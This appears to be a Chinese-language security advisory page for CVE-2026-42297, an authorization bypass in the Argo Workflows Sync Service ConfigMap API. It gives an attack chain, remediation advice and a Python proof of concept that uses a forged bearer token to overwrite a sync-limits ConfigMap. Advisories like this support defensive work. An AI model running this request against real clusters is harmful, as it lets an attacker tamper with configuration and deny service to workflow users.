IPBUF安全漏洞报告
English
CVE-2026-42297 CVSS 8.3 高危

CVE-2026-42297 Argo Workflows权限绕过漏洞

披露日期: 2026-05-09

漏洞信息

漏洞编号
CVE-2026-42297
漏洞类型
权限绕过
CVSS评分
8.3 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Argo Workflows

相关标签

权限绕过Argo WorkflowsKubernetes访问控制缺失CVE-2026-42297

漏洞概述

Argo Workflows是一个开源的容器原生工作流引擎,用于在Kubernetes上编排并行作业。在4.0.0至4.0.5之前的版本中,Sync Service的ConfigMap支持提供程序在所有CRUD操作上缺少授权检查。任何经过身份验证的用户,包括使用伪造Bearer令牌的用户,都可以创建、读取、更新和删除包含同步限制的Kubernetes ConfigMaps。这意味着攻击者无需具备相应权限即可操作关键配置数据,从而破坏系统的完整性和可用性。该问题已在版本4.0.5中修复。

技术细节

该漏洞源于Argo Workflows的Sync Service组件(具体位于server/sync/sync_cm.go)在处理ConfigMap的CRUD请求时,未实施必要的授权验证机制。虽然系统要求请求携带Bearer Token以完成身份认证,但并未验证用户是否拥有操作特定资源的权限。攻击者只需持有格式有效的Token(甚至是伪造的Token),即可通过API端点对存储同步限制的ConfigMaps执行创建、读取、更新或删除操作。由于ConfigMap中可能包含工作流同步的关键限制参数,攻击者利用此漏洞可篡改配置,导致工作流拒绝服务或逻辑混乱,从而对系统造成严重影响。

攻击链分析

STEP 1
侦察
攻击者识别出目标环境正在运行受影响版本的Argo Workflows(4.0.0至4.0.5)。
STEP 2
获取认证令牌
攻击者获取一个Bearer Token。由于授权检查缺失,该Token可以是伪造的,也可以是低权限用户的合法Token。
STEP 3
发送恶意请求
攻击者向Sync Service的ConfigMap API端点发送携带Token的PUT或POST请求,试图修改或创建包含同步限制的ConfigMap。
STEP 4
执行未授权操作
服务端因缺少授权校验而接受请求,导致ConfigMap被篡改或删除,进而影响工作流的同步逻辑和可用性。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target Argo Workflows Sync Service API endpoint # Example: https://argo-server.example.com/api/v1/sync/configmaps/sync-limits target_url = "https://<argo-host>/api/v1/sync/configmaps/<configmap-name>" # A fake or stolen Bearer token. The service checks for presence but not validity/authorization for CRUD. malicious_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.fake.token.signature" headers = { "Authorization": f"Bearer {malicious_token}", "Content-Type": "application/json" } # Payload to update the ConfigMap with malicious sync limits payload = { "metadata": { "name": "sync-limits", "namespace": "argo" }, "data": { "limit": "0", "message": "exploited" } } try: # Sending PUT request to update the ConfigMap without proper authorization response = requests.put(target_url, json=payload, headers=headers, verify=False) if response.status_code == 200 or response.status_code == 201: print("[+] PoC Successful: ConfigMap updated/created via authorization bypass.") print(f"[+] Response: {response.text}") else: print(f"[-] PoC Failed: Status code {response.status_code}") print(f"[-] Response: {response.text}") except Exception as e: print(f"[-] Error occurred: {e}")

影响范围

Argo Workflows >= 4.0.0, < 4.0.5

防御指南

临时缓解措施
建议立即升级到Argo Workflows 4.0.5或更高版本以彻底修复此漏洞。如果暂时无法升级,应通过网络策略严格限制对Sync Service API端点的访问,并密切监控Kubernetes ConfigMap的异常变更日志,以检测潜在的未授权操作。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表